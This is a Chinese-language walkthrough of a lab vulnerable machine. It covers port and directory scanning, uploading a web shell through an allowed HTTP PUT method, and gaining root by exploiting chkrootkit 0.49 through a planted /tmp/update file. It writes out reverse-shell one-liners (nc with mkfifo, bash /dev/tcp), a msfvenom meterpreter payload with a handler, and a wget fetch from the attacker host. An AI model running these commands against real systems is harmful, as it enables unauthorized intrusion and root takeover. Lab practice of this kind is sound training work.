文章目录
一、基础信息
二、信息收集
三、漏洞探测
四、反弹shell
五、提权
一、基础信息
Kali IP:192.168.20.146
靶机 IP: 192.168.20.151
二、信息收集
nmap -sS -sV -p- -A 192.168.20.151
开放了22、80端口,访问一下80页面,显示为一个图片,下载下来分析没有内容
扫描一下目录
dirsearch -u http://192.168.20.151 -x 403
扫描到test目录,访问一下也没有特别的内容,搜集信息为web服务器版本:lighttpd/1.4.28
三、漏洞探测
搜索一下相关漏洞
尝试了几个,没找到合适可利用的
我直接上awvs没问题吧(拿漏扫扫靶机是不是不太合理)
发现一个高危漏洞,允许PUT请求方法,那么可以通过上传木马文件尝试利用
先看一下还允许什么方式的请求,使用options查看
curl -v -X OPTIONS http://192.168.20.151/test
Put请求上传测试文件
看到上传成功,那么写入一句话木马进行上传,蚁剑连接
四、反弹shell
虚拟终端反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.146 8080 >/tmp/f
python -c 'import pty;pty.spawn("/bin/bash")'
五、提权
1、Sudo 提权需要密码,暂未获得
2、内核提权查看没有匹配到好利用的,uname -a ; cat /etc/*release
3、Suid位提权无可利用的,find / -perm -u=s -type f 2>/dev/null
4、查看一下运行的服务或端口,netstat -anpt ,只开放了80和22端口,无法利用
5、查看用户账户信息发现存在用户john,利用hydra爆破密码没有成功
6、查看计划任务
两个关键路径
/etc/*cron*;/var/spool/cron
/var/spool/cron路径下没有查看权限
查看/etc下定时任务
find /etc/*cron* -type f -ls 2>/dev/null
发现存在:chkrootkit
Rootkit是一个特殊的恶意软件,它可隐藏自身以及指定的文件、进程、网络、链接、端口等信息。Rootkit可通过加载特殊的驱动修改系统内核,进而达到隐藏信息的目的。
Rootkit的三要素就是:隐藏、操纵、收集数据。
Rootkit具有隐身功能,无论静止时作为文件存在,还是活动时作为进程存在,都不会被察觉,它可能永远存在于计算机中。
Chkrootkit是一款用来检测rootkit的软件,运行环境为linux,可以直接通过http://www.chkrootkit.org/download/地址来下载,随后进行解压缩。
find / -name chkrootkit 2>/dev/null
/usr/sbin/chkrootkit ---配置信息
/etc/cron.daily/chkrootkit ---环境变量信息
该环境存在Chkrootkit!将这两个文件拷贝到本地去分析
cd /var/www/test
cat /usr/sbin/chkrootkit > rootkit1.txt
cat /etc/cron.daily/chkrootkit > rootkit2.txt
看到chkrootkit的版本为0.49
可搜索一下漏洞信息
看了wp的解释
33899 exp文件中说在/usr/sbin/chkrootkit配置110行中存在:“file_port $i” 会调用$SLAPPER_FILES中指定的所有文件作为chkrootkit用户进行执行命令(通常是root)
原因是file_port是空的,因为在变量赋值周围缺少引号!
防护手段:file_port="$file_port $i"
1)tmp/创建tmp/update文件,存在和chkrootkit运行权限一样的执行权限(root)
2)计划任务,chkrootkit执行一次,就会运行一次update,update写入恶意代码!获取root权限
cd /tmp
printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.20.146/443 0>&1\n' > /tmp/update
chmod +x update
等待一会,提权成功
还可以通过上传木马获得root权限的shell,但是也是基于这个原理
msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf LHOST=192.168.20.146 LPORT=8090 -o shell.elf
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lport 8090
set lhost 192.168.20.146
exploit -j
python -m http.server 8091
wget http://192.168.20.146:8091/shell.elf
mv shell.elf /tmp/update
chmod +x update
等待msf上线即可
这里发现没反弹成功,也不能下载,后面发现是因为有防火墙限制,防火墙只允许443,8080,22,80端口通过,调整一下端口即可。